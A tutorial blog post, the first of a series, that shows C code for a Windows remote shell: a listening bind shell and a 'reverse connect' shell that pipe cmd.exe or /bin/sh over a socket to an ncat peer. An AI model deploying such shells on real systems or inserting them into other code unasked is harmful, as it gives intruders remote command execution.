Windows: Interactive shells Part 1

Introduction

If you just wanted to interact with cmd.exe on a remote machine, PSEXEC is perfect. If you’re interested in how to write a simple shell for windows in C, that’s what we’ll be looking at here.

Some early examples of interacting with command interpreter used anonymous pipes to read/write data to and from cmd.exe process.Ncat uses named pipes which then allows additional actions on the data being streamed like encryption.

While it’s possible to execute commands using WinExec or even Win32_Process.Create in combination with cmd /c You can’t view the output of those commands unless of course you manage to redirect output somewhere else which is accessible to you.

The problem with anonymous pipes is that we must call PeekNamedPipe() and then Sleep() before reading again which is inefficient and unreliable.

So what we do here is assign the socket handle returned from WSASocket() to stdin,stdout and stderr of cmd.exe before it’s executed. This is very similar to how simple remote shells work on UNIX-variant operating systems.

Incoming connection

With this shell running as a server on some machine.

s1_server_mode

Using ncat as client to establish a connection

ncat_client_mode

A structure is used for both client and server functions.

// structure for parameters
typedef struct _args_t {
  SOCKET s, r;
  char *port, *address;
  int port_nbr, ai_family, mode, ai_addrlen;
  struct sockaddr *ai_addr;
  char ip[64];
  struct sockaddr_in v4;
  struct sockaddr_in6 v6;
} args_t;

The actual code to listen for incoming connections using BSD sockets.

void server(args_t *p)
{
  // bind to local address
  if (bind (p->s, p->ai_addr, p->ai_addrlen) != ~0UL) 
  {
    // listen for incoming connections
    if (listen (p->s, 1) != ~0UL) 
    {
      printf ("[ waiting for connections on %s\n", addr2ip(p));
      p->r=accept (p->s, p->ai_addr, &p->ai_addrlen);
      
      if (p->r != ~0UL) {
        printf ("[ connection from %s\n", addr2ip(p));
        shell(p->r); 
        printf ("[ closing connection\n");
        shutdown (p->r, SHUT_RDWR);
        close (p->r);
      } else {
        xstrerror ("accept()");
      }       
    } else {
      xstrerror ("listen()");
    }
  } else {
    xstrerror ("bind()");
  }
}

Outgoing connection

To establish a connection with ncat as a listener. A “reverse connect” shell.

ncat_server

The code simply attempts to establish a connection and if successful, executes cmd.exe with socket handle assigned to stdin,stdout and stderr.

// reverse connect to remote host
void client(args_t *p)
{
  printf ("[ connecting to %s\n", addr2ip(p));
  
  if (connect (p->s, p->ai_addr, p->ai_addrlen)==0)
  {
    printf ("[ connected\n");
    shell(p->s);
    printf ("[ closing connection\n");
  } else {
    xstrerror ("connect");
  }
}

Executing cmd.exe

The following function assigns the socket handle to stdin, stdout and stderr before execution of cmd.exe. All input/output is then redirected through the socket to remote peer.

void shell (int s)
{
#ifdef WIN
  PROCESS_INFORMATION pi;
  STARTUPINFO         si;

  ZeroMemory (&si, sizeof(si));
  ZeroMemory (&pi, sizeof(pi));

  si.cb         = sizeof(si);
  // redirect all input/output through socket
  si.dwFlags    = STARTF_USESTDHANDLES;
  si.hStdInput  = (HANDLE)s;
  si.hStdOutput = (HANDLE)s;
  si.hStdError  = (HANDLE)s;
  
  printf ("[ executing cmd.exe\n");
  // execute cmd.exe
  if (CreateProcess (NULL, "cmd", NULL, NULL, 
    TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi))
  {
    printf ("[ running\n");
    // wait until it terminates
    WaitForSingleObject (pi.hProcess, INFINITE);
    
    CloseHandle (pi.hThread);
    CloseHandle (pi.hProcess);
  } else {
    xstrerror ("CreateProcess");
  }
#else
  char *argv[2];
  
  // use socket for input/output
  dup2(s, STDIN_FILENO );
  dup2(s, STDOUT_FILENO);
  dup2(s, STDERR_FILENO);
  
  argv[0]="/bin/sh";
  argv[1]=NULL;
  
  // execute sh
  execve("/bin/sh", argv, NULL);
#endif
}

Limitations

If the connection is closed before cmd.exe terminates, cmd.exe will simply hang. In part 2, we’ll look at synchronization which in addition to preventing cmd.exe from hanging, facilitates actions upon the data sent/received between client and server.

Source

See s1.c here for more details.

Advertisements
This entry was posted in programming, windows and tagged , , , . Bookmark the permalink.

2 Responses to Windows: Interactive shells Part 1

  1. Pingback: Windows: Interactive shells Part 2 |

  2. Pingback: Windows: Interactive shells Part 2 | modexp

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s